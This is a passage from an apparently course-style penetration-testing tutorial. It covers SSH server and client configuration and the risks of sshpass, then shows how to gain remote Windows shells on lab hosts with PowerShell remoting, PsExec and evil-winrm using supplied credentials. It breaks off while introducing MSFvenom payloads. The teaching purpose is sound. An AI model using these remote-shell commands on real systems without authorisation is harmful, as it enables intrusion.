Jul 12 06:59:17 kali systemd[1]: Starting OpenBSD Secure Shell server...
Jul 12 06:59:17 kali sshd[1328]: Server listening on 0.0.0.0 port 22.
Jul 12 06:59:17 kali sshd[1328]: Server listening on :: port 22.
Jul 12 06:59:17 kali systemd[1]: Started OpenBSD Secure Shell server.
Listing 17 - Starting and verifying the ssh service
Now that the SSH service is running, let's access our localhost
with our kali user.
kali@kali:~$ ssh kali@localhost
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 11 08:48:15 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
Connection to localhost closed .
Listing 18 - A SSH connection is made to the localhost
Although the terminal prompt is the same, an SSH connection was
made to the localhost that is independent of the first terminal
session. Often the SSH server will be hosted on a different port
than the default. To find out how to change this, let's examine the
/etc/ssh/sshd_config configuration file.
Note that this is not the /etc/ssh/ssh_config file. The
/etc/ssh/ssh_config[395-1] configuration file is for the ssh
client, whereas the /etc/ssh/sshd_config file is the for the SSH
daemon (the server process).
kali@kali:~$ cat /etc/ssh/sshd_config
# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
---
Output trimmed
Listing 19 - The ssh server configuration file
As shown in the output, the Port line is commented out by default.
Let's uncomment this line, and change the port value to 2222.
kali@kali:~$ cat /etc/ssh/sshd_config
...
Include /etc/ssh/sshd_config.d/*.conf
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
---
Output trimmed
Listing 20 - The ssh server will be hosted on port 2222
Now, let's try to access the SSH server locally on the default port.
kali@kali:~$ ssh kali@localhost
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 07:41:14 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
Connection to localhost closed.
Listing 21 - The local ssh server works on port 22
Despite the change to the Port line above, the SSH server is still
available on port 22. Based on the configuration, this is not how the
service should work. The issue here is that the SSH service daemon was
not restarted. Let's restart the SSH service now.
kali@kali:~$ sudo systemctl restart ssh
Listing 22 - The ssh service is restarted
Now that the service is restarted, let's try to access the SSH server
on the default port again.
kali@kali:~$ ssh kali@localhost
ssh: connect to host localhost port 22: Connection refused
Listing 23 - The ssh connection was refused on port 22
This is the expected behavior of the SSH server. The server should
be hosted on port 2222, so let's add the -p option to specify the
port we want to connect to.
kali@kali:~$ ssh kali@localhost -p 2222
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 08:24:29 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
Connection to localhost closed.
Listing 24 - The ssh server connects on port 2222
For the next portion of this SSH section, let's stop the SSH server
on our host. It is a good practice to stop services not being used to
limit the attack surface[396-1] on a host.
kali@kali:~$ sudo systemctl stop ssh
Listing 25 - The ssh service is stopped
There are many other configurations we can implement with the
/etc/ssh/sshd_config file, including the encryption types, key files,
authentication types, and even IP addresses to listen to. We'll cover
the key files for authentication in the Cryptography Topic and
the rest are out-of-scope. We'll go ahead and make sure the port is
changed back to 22 to avoid future confusion.
This will require undoing the changes we made to the
/etc/ssh/sshd_config file. Best practices suggest to change 2222
back to 22, and re-comment out the line.
The following examples will not be accessible from the lab. They are
meant to show how remote interactions work with SSH and which other
critical files get created as a result of those interactions.
An important directory for SSH is the .ssh directory that is
created in a user's home directory. We can review our home directory
and discover that even after the exercises with the localhost, this
directory has not been created.
kali@kali:~$ ls -a
. .bashrc .cache Documents .gnupg .local .profile .vboxclient-clipboard.pid Videos .xsession-errors .zshrc.kali-tweaks-orig
.. .bashrc.kali-tweaks-orig .config Downloads .ICEauthority .mozilla Public .vboxclient-display-svga-x11.pid .viminfo .xsession-errors.old
.bash_history .bashrc.original Desktop .face .java Music specialcredentials.txt .vboxclient-draganddrop.pid .wget-hsts .zsh_history
.bash_logout .BurpSuite .dmrc .face.icon .lesshst Pictures Templates .vboxclient-seamless.pid .Xauthority .zshrc
Listing 26 - The .ssh directory is not in the user's home directory
Now, let's examine a remote host connection. In this example, we'll
demonstrate access to the OverTheWire's Bandit[533] machine.
To access the machine, we'll use the username bandit0, the hostname
bandit.labs.overthewire.org, and port 2220.
kali@kali:~$ ssh bandit0@bandit.labs.overthewire.org -p 2220
The authenticity of host '[bandit.labs.overthewire.org]:2220 ([176.9.9.172]:2220)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
Listing 27 - The ssh connection prompt for fingerprinting
The first time an SSH connection is made to a host, the client (our
host) will ask if we are sure we want to make the connection. When
either "yes" or "fingerprint" is entered, our host will store the
information to remember next time.
Entering "no" will simply terminate the connection attempt and not
save any information. Listing 28 shows the yes
response.
kali@kali:~$ ssh bandit0@bandit.labs.overthewire.org -p 2220
The authenticity of host '[bandit.labs.overthewire.org]:2220 ([176.9.9.172]:2220)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220' (ECDSA) to the list of known hosts.
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit0@bandit.labs.overthewire.org's password:
Listing 28 - The yes option was used for the ssh connection
At this point, we've answered "yes" that we want to continue
connecting. We can also observe that we are shown the ECDSA key
fingerprint, which is essentially a shortened version of the public
key. By using this, the machine is added to its list of known hosts.
If the fingerprint changes, we will be notified. This helps prevent
man-in-the-middle-attacks, which we will explain in more detail
shortly.
Now what would have happened if we selected "fingerprint"? Note that
the prompt is searching for the fingerprint given in the output and
not the literal string "fingerprint".
kali@kali:~$ ssh bandit0@bandit.labs.overthewire.org -p 2220
The authenticity of host '[bandit.labs.overthewire.org]:2220 ([176.9.9.172]:2220)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? fingerprint
Please type 'yes', 'no' or the fingerprint: SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc
Warning: Permanently added '[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220' (ECDSA) to the list of known hosts.
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit0@bandit.labs.overthewire.org's password:
Listing 29 - The fingerprint option was used for the ssh connection
Once this is completed, let's examine our home directory again. Here
we observe the new directory .ssh.
kali@kali:~$ ls -a
. .bashrc .cache Documents .gnupg .local .profile Templates .vboxclient-seamless.pid .Xauthority .zshrc
.. .bashrc.kali-tweaks-orig .config Downloads .ICEauthority .mozilla Public .vboxclient-clipboard.pid Videos .xsession-errors .zshrc.kali-tweaks-orig
.bash_history .bashrc.original Desktop .face .java Music specialcredentials.txt .vboxclient-display-svga-x11.pid .viminfo .xsession-errors.old
.bash_logout .BurpSuite .dmrc .face.icon .lesshst Pictures .ssh .vboxclient-draganddrop.pid .wget-hsts .zsh_history
Listing 30 - The .ssh directory is now in the kali user's home directory
Let's examine what's in the .ssh directory.
kali@kali:~$ cd .ssh
kali@kali:~/.ssh$ ls
known_hosts
kali@kali:~/.ssh$ cat known_hosts
|1|86RAJY3ztUa3zofzR2kK4R7oRPo=|K9hLsa9qpHg9kVcwjreC7IUr53c= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPQ3hiy42Gd1W442sy5QR+A2vhnp/xrrUn6c6X22Vl/W6437n1WuAVXHQW2gAi8Kj5q0+YmtPz/9YW5Uo4HYMmQ=
|1|wKSu7ICJF/lJuJrQBsxJ5b3a394=|28di0i+KppGoRVluQ2wCNu1V5bw= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPQ3hiy42Gd1W442sy5QR+A2vhnp/xrrUn6c6X22Vl/W6437n1WuAVXHQW2gAi8Kj5q0+YmtPz/9YW5Uo4HYMmQ=
Listing 31 - The known_hosts file stores the fingerprints of the hosts that the client connected with
Inside this directory, we find a file called known_hosts. This
is what the prompt was adding to the Kali host when requesting the
connection. Right now these values are hashed,[397-1]
so we'll need to decode the output. This is controlled in the client
configuration file, /etc/ssh/ssh_config.
kali@kali:~/.ssh$ tail /etc/ssh/ssh_config
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
Listing 32 - The default ssh client setting is to hash the known_hosts file
Let's change this value to "no", clear the stored file, and try the
connection again.
kali@kali:~/.ssh$ ssh bandit0@bandit.labs.overthewire.org -p 2220
The authenticity of host '[bandit.labs.overthewire.org]:2220 ([176.9.9.172]:2220)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220' (ECDSA) to the list of known hosts.
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit0@bandit.labs.overthewire.org's password:
Listing 33 - The known_hosts file is added again
Now, when we read the known_hosts file, we'll get more information
about which connection each line refers to. In the listing below, the
first object highlighted is the connection destination and port.
Because this was reached using the human-readable name (canonical
name[398-1]), it also translates that name to the IP address and
port.
kali@kali:~/.ssh$ cat known_hosts
[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPQ3hiy42Gd1W442sy5QR+A2vhnp/xrrUn6c6X22Vl/W6437n1WuAVXHQW2gAi8Kj5q0+YmtPz/9YW5Uo4HYMmQ=
Listing 34 - The connection destination and port are shown in plaintext
The benefit of hashing the known_hosts file is an attacker
would have a harder time gaining information about which remote
systems are being accessed if the host was compromised. Now that
the file is not hashed, let's examine what the values mean.
kali@kali:~/.ssh$ cat known_hosts
[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPQ3hiy42Gd1W442sy5QR+A2vhnp/xrrUn6c6X22Vl/W6437n1WuAVXHQW2gAi8Kj5q0+YmtPz/9YW5Uo4HYMmQ=
Listing 35 - The connection destination, port, hashing algorithm, and fingerprint key are highlighted
The next highlighted portion of the listing shows the hashing
algorithm that was used to fingerprint this host. This example uses
the Elliptic Curve Digital Signature Algorithm with SHA-256. The
last portion is the hash of the remote host in the connection. All
of these objects put together create the fingerprint of the remote
host.
This helps prevent eavesdropping or a rogue device[399-1] by
accounting for these pieces of information along with the hash value.
Sometimes a change in the host's IP on an internal network will affect
the fingerprint of the known host. This can also happen in a lab
environment.
There are two ways to circumvent the error regarding a potential
attack:
kali@kali:~/.ssh$ ssh -o stricthostkeychecking=no bandit0@bandit.labs.overthewire.org -p 2220
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit0@bandit.labs.overthewire.org's password:
Listing 36 - An example of ignoring the host key
We modified the /etc/ssh/ssh_config file to show the
known_hosts file in plaintext. It can also handle many other SSH
client configurations - including setting the StrictHostKeyChecking
setting.
Instead of changing a global configuration file that affects all
users on a system, let's examine a file relevant to a separate user
account. The ~/.ssh/config[400-1] file is read before
/etc/ssh/ssh_config. It is a user-defined file that manages the
client configuration for a host, all hosts or even excluding hosts.
Because it's a user-defined file, it will not exist by default. Let's
review creating this file for bandit.labs.overthewire.org.
kali@kali:~/.ssh$ ls -al
total 16
drwx------ 2 kali kali 4096 Jul 13 03:18 .
drwxr-xr-x 19 kali kali 4096 Jul 13 03:18 ..
-rw------- 1 kali kali 75 Jul 13 03:18 config
-rw-r--r-- 1 kali kali 430 Jul 13 03:16 known_hosts
kali@kali:~/.ssh$ cat config
Host bandit
HostName bandit.labs.overthewire.org
User bandit0
Port 2220
Listing 37 - The user ssh config file
Here we observe the entry for bandit in ~/.ssh/config, the
settings in the SSH configuration will be used for the alias
bandit. It is also important to note that this file must have 0600
permissions on it. Let's try to connect to "bandit" using the ssh
command with the alias.
kali@kali:~/.ssh$ ssh bandit
ssh bandit
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit0@bandit.labs.overthewire.org's password:
Listing 38 - The settings under the alias bandit are used to gain access to the remote host
The last thing we'll review in this section is sshpass.[402-1]
This utility is designed to supply the SSH password in the command
execution, rather than manually entering it at the prompt. This is
useful as an SSH session can be opened through a script without user
interaction. However, there are severe security drawbacks. Before
we get into the disadvantages of using sshpass, let's examine how to
install and use it.
Listing 39 illustrates the format required. The
option -p is followed by the password.
kali@kali:~$ sshpass -p 'bandit0' ssh bandit
Command 'sshpass' not found , but can be installed with:
sudo apt install sshpass
Do you want to install it? (N/y)y
sudo apt install sshpass
[sudo] password for kali:
Reading package lists... Done
...
The following NEW packages will be installed:
sshpass
0 upgraded, 1 newly installed, 0 to remove and 102 not upgraded.
Need to get 13.0 kB of archives.
After this operation, 38.9 kB of additional disk space will be used.
...
Processing triggers for kali-menu (2021.2.3) ...
Listing 39 - The default installation of Kali does not have sshpass installed
Kali presented an error indicating sshpass wasn't installed,
but conveniently, we were able to install it in the same command
execution. Let's try to run the command again. Also, note that we are
still using the alias that was set up in ~/.ssh/config.
kali@kali:~$ sshpass -p 'bandit0' ssh bandit
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
Linux bandit.otw.local 5.4.8 x86_64 GNU/Linux
---
Output trimmed
---
Enjoy your stay!
bandit0@bandit:~$ exit
Listing 40 - sshpass automatically uses the provided password to connect to the remote host
The SSH connection was automatically logged into with the provided
password. Now that the functionality of sshpass was covered, let's
examine two reasons why we may choose not to use this utility in a
production environment.
The first reason is the command history. If a user on a host is
compromised, the history command can show the latest user-executed
commands, which an attacker can use to identify user credentials
and remote systems that are accessible. They can even use privilege
escalation[403-1] to gain full-system control. Let's examine
this by running history.
kali@kali:~$ history
...
1008 ssh bandit
1009 sshpass bandit0 bandit
1010 clear
1011 sshpass -p 'bandit0' ssh bandit
Listing 41 - The ssh password is shown in plaintext for the ssh connection to bandit
We can find the password to the bandit host alias in plaintext, which
an attacker could use to gain access to the remote host.
The second reason we might decide against sshpass is related to this,
which is the fact an attacker could read the password in plaintext if
this utility is used in a script. It is bad practice to have passwords
in plaintext in any file on a system.
We covered a lot of SSH. We examined the basic usage, how to access
different ports, some minor server and client configurations, the
known_hosts file and fingerprinting, issues with fingerprint
changes and how that may affect a lab or internal network setting, the
user-defined config file, and automatically supplying a password for
SSH authentication and its weaknesses.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 145 minutes to complete.
Most of the computer market is running Microsoft Windows. As a
security professional, it is important to know how we can gain shells
on these Windows systems. In the following sections, we'll gain simple
remote shells with PowerShell, psexec, and evil-winrm.
PowerShell[525-1] is an extremely powerful utility built into
Microsoft Windows systems starting with Windows XP Service pack 2.
It's capable of completing any task on a Windows operating system
from the command line. PowerShell is not only used for administrative
purposes, but it is also widely used in script development to automate
system tasks. PowerShell, as its own subject, is out of scope for this
Topic.
If you would like to follow along with the content, start the VMs
in the resources section, and rdesktop from your Kali host into
the Windows client ending with .79 using the credentials
offsec:offsec.
Let's cover some PowerShell Cmdlets[534] we can use
to remotely execute commands and also gain a remote shell.
These cmdlets are Invoke-Command[535] and
Enter-PSSession.[536] Before we can use these, however,
some conditions need to be met on both Windows hosts.
The first of these conditions is that the remote host has to have
PSRemoting[537] enabled. A TrustedHosts entry also
needs to be added to the Web Services for Management (WSMan)[538]
provider. The client host used to establish the connection must
also meet these same conditions. We have already completed the
configuration of the Windows host that ends with .80, but we'll still
need to configure these conditions on the client ending with .79.
Before we correctly configure our host at .79, let's try to run
Invoke-Command and get the IP address of the remote host at
.80 with offensive:security.
We can enter the host that we want to run the command on with the
-ComputerName option. This can be the IP address or the
hostname of the remote machine. The -ScriptBlock option
is used to execute the command(s) we want to run on that host. For
now, even though it's redundant, we are putting ipconfig
for the command execution to demonstrate a remotely-run command.
The -Credential option is used to supply the username and
also bring up a dialog box to enter the password.
PS C:\Users\offsec> Invoke-Command -ComputerName 192.168.50.80 -Scriptblock { ipconfig } -Credential offensive
Listing 42 - The Invoke-Command cmdlet to run ipconfig on host 192.168.50.80
After we type this command, let's press I.
A dialog box appears for us to input our password. Let's enter
"security", and click OK.
[192.168.50.80] Connecting to remote server 192.168.50.80 failed with the following error message : The WinRM client
cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not
joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts
configuration setting . Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not
be authenticated. You can get more information about that by running the following command: winrm help config. For
more information, see the about_Remote_Troubleshooting Help topic.
+ CategoryInfo : OpenError: (192.168.50.80:String) [], PSRemotingTransportException
+ FullyQualifiedErrorId : ServerNotTrusted,PSSessionStateBroken
Listing 43 - The Invoke-Command cmdlet fails due to an authentication or trustedhosts issue
The error shown in the PowerShell terminal indicates there is an
authentication issue or an issue with the destination machine not
being part of the TrustedHosts configuration setting.
Next, let's enable PSRemoting and add the host ending with .80 to our
TrustedHosts configuration setting.
PS C:\Users\offsec> Enable-PSRemoting
Enable-PSRemoting : Access is denied. To run this cmdlet, start Windows PowerShell with the "Run as administrator"
option.
At line:1 char:1
+ Enable-PSRemoting
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Enable-PSRemoting], InvalidOperationException
+ FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.EnablePSRemotingCommand
Listing 44 - An access is denied error is shown when trying to enable PSRemoting
We immediately get another error, stating our current access is
denied. Let's close the PowerShell terminal window and re-open it with
elevated privileges.
To do this, we'll click Start and enter "powershell". Then, we
right-click Windows PowerShell and click Run as administrator.
This will bring up a User Account Control (UAC)[539] window, where
we'll click Yes.
When PowerShell opens, it's run as Administrator, which
is indicated in the title bar. It is also opened in the
C:\Windows\System32\ directory.
Now that we have elevated privileges in our PowerShell terminal, let's
try to enable PSRemoting again.
PS C:\WINDOWS\system32> Enable-PSRemoting
WinRM has been updated to receive requests.
WinRM service type changed successfully.
WinRM service started.
WinRM has been updated for remote management.
WinRM firewall exception enabled.
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely to local users.
Listing 45 - PSRemoting is now enabled
We'll find that PSRemoting is now enabled. Before we add the host
to the TrustedHosts configuration setting, let's try to run the same
command execution with Invoke-Command.
PS C:\WINDOWS\system32> Invoke-Command -ComputerName 192.168.50.80 -ScriptBlock { ipconfig } -Credential offensive
[192.168.50.80] Connecting to remote server 192.168.50.80 failed with the following error message : The WinRM client
cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not
joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts
configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not
be authenticated. You can get more information about that by running the following command: winrm help config. For
more information, see the about_Remote_Troubleshooting Help topic.
+ CategoryInfo : OpenError: (192.168.50.80:String) [], PSRemotingTransportException
+ FullyQualifiedErrorId : ServerNotTrusted,PSSessionStateBroken
Listing 46 - The Invoke-Command cmdlet still fails with the indication that the destination machine must be added to the TrustedHosts configuration setting
The cmdlet execution still fails with the same error message. Now,
let's add the remote host to the TrustedHosts configuration setting.
Instead of giving the ability for all computers to connect (with *),
we'll put the IP address for the remote host ending with .80.
To do this, will use the Set-Item cmdlet, then we will use
wsman: to change the WS-Management configuration data of the
trustedhost. Finally, we will add the IP address of 192.168.50.80.
PS C:\WINDOWS\system32> Set-Item wsman:\localhost\client\trustedhosts 192.168.50.80
WinRM Security Configuration.
This command modifies the TrustedHosts list for the WinRM client. The computers in the TrustedHosts list might not be
authenticated. The client might send credential information to these computers. Are you sure that you want to modify this
list?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y
Listing 47 - The remote host is added to the TrustedHosts configuration setting
Now that our remote host is added to the TrustedHosts configuration
setting, let's try to execute Invoke-Command again.
PS C:\WINDOWS\system32> Invoke-Command -ComputerName 192.168.50.80 -ScriptBlock { ipconfig } -Credential offensive
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.80
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
Listing 48 - The command successfully ran on the remote host
The command was successfully executed on the remote host and we can
examine the ipconfig output.
From here, let's establish a full remote shell with PSRemoting. To do
this, we will use Enter-PSSession.[536-1] This uses the
same options as Invoke-Command so we'll jump straight into executing
it.
PS C:\WINDOWS\system32> Enter-PSSession -ComputerName 192.168.50.80 -Credential offensive
[192.168.50.80] : PS C:\Users\offensive\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.80
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
Listing 49 - We successfully established a remote shell with PowerShell
After gaining the remote shell, we ran ipconfig to demonstrate
that the command is running locally on the remote host through our
established shell.
In this section, we covered the configuration settings needed to
establish a remote connection to a Windows host with PowerShell.
PsExec[540] is part of the Sysinternals[541] suite
and we can use it to establish remote Windows shells in a variety of
ways. To keep this section simple, we'll use PsExec to connect
with a remote shell on a system that has open File and Printer
Sharing.[542]
If you would like to follow along with the content, start the VMs
in the Resources section, and rdesktop from your Kali host into
the Windows Client that ends with .79 using offsec:offsec.
The PsTools[543] suite is a subset of Sysinternals and includes
PsExec along with numerous other utilities. This is not installed
on Windows by default. The provided Windows client that ends in .79
already has PsTools added, but we'll briefly cover the installation
process here.
PsTools is downloadable as a zip file at the
Microsoft Documentation Page for PsTools.[543-1] Once this
is downloaded, we can extract the contents directly into
C:\Windows\System32\. With that, we'll have
access to PsExec on our machine.
Let's demonstrate how to do the extraction in PowerShell. For that,
we need the Expand-Archive cmdlet, followed by -Path and the
location of the file. Finally, we add -DestinationPath and where
we want the file.
PS C:\Users\Administrator\Downloads> Expand-Archive -Path .\PSTools.zip -DestinationPath C:\Windows\System32\
Listing 50 - The PsTools packages are extracted into the System32 directory
Now that we've covered how to set up PsExec on our Windows system,
let's execute psexec and run the ipconfig command on the host
that ends in .80. To specify the target host, we need to use "\\"
followed by the IP or canonical name. The username and password need
to be supplied with the -u and -p options. We'll end with the
command we want to run on the remote host. In this case, we will try
to identify the IP address of the remote machine with ipconfig.
When we press I, a license agreement dialog box appears.
We'll click Agree.
PS C:\Users\offsec> psexec \\192.168.50.80 -u offensive -p security ipconfig
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
PsExec could not start ipconfig on 192.168.50.80:
Logon failure: the user has not been granted the requested logon type at this computer.
Listing 51 - The command execution fails due to a logon failure
The command execution fails with a Logon failure error. This issue
appeared in PsExec version 2.32 and is overcome by adding the -i
option for an interactive session. Let's add that before the command
execution and find out if the results are different.
PS C:\Users\offsec> psexec \\192.168.50.80 -u offensive -p security -i ipconfig
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.80
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
ipconfig exited on 192.168.50.80 with error code 0.
Listing 52 - The remote command executed successfully
Now that we're able to execute commands remotely, let's establish a
remote shell. We'll do this by switching our command to cmd.
PS C:\Users\offsec> psexec \\192.168.50.80 -u offensive -p security -i cmd
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
Listing 53 - A command prompt shell is opened on the remote host
In the listing above, we'll find that the directory changed to
C:\WINDOWS\system32\, which indicates our remote PsExec
shell worked.
Another thing to note about remote shells using PsExec is that
cmd could be replaced with powershell to create
a remote PowerShell shell using PsExec. For the sake of brevity, we
won't demonstrate this.
In this section, we've covered how to run remote commands and obtain
remote shells to our target host with PsExec. We also reviewed how to
install the PsTools package on a Windows machine if it isn't already
configured.
Evil-WinRM[544] is a feature-rich tool used to
establish remote shells using Microsoft's implementation of the
WS-Management[545] protocol, WinRM.[546] Just
like our PowerShell shell, the remote host must be configured for
PSRemoting and WinRM that runs on port 5985 by default.
To follow along, start the VMs in the Resources section.
Evil-WinRM is already configured on the LinuxShells exercise host.
It is located in the /home/offensive/evil-winrm/ directory.
The setup for evil-winrm is straightforward on a Kali system as
we only need to clone the evil-winrm GitHub repository into the
directory where we want to use the tool.
To begin, let's ssh into the host ending in .77 from our Kali
machine with offensive:security.
We can analyze the options and usage of evil-winrm by entering
./evil-winrm.rb without any options.
offensive@linuxshells:~/evil-winrm$ ./evil-winrm.rb
Evil-WinRM shell v3.3
Error: missing argument: ip, user
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
Listing 54 - The usage for evil-winrm is displayed
Evil-winrm is feature-rich so to keep this section brief, we'll cover
the simplest shell with this tool. To execute the remote shell, we'll
need the IP or hostname with -i, the username with -u, and the
password with -p.
offensive@linuxshells:~/evil-winrm$ ./evil-winrm.rb -i 192.168.50.80 -u offensive -p security
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\offensive\Documents>
Listing 55 - The remote shell with evil-winrm is established
From here, we can execute commands on the remote system the same way
as the other remote shells we've made.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 160 minutes to complete.
The ability to create our own shells opens up more opportunities to
gain access to a variety of systems. Sometimes, we need to upload the
custom shells to a system to execute it where those systems cannot
run the shells we covered in the previous sections. Shells can also
come in various formats to either use as standalone programs or to
incorporate into custom-written code. In this section, we'll cover a
very powerful tool to create these shells: MSFvenom.
MSFvenom,[547] which is part of the Metasploit
Framework[548] developed by Rapid7,[549] creates payloads and
manages their encoding needs. MSFvenom is a feature-rich toolset that
allows for multiple variables in the type of format it is created
in, the encoding and payload options, and the configurations for the
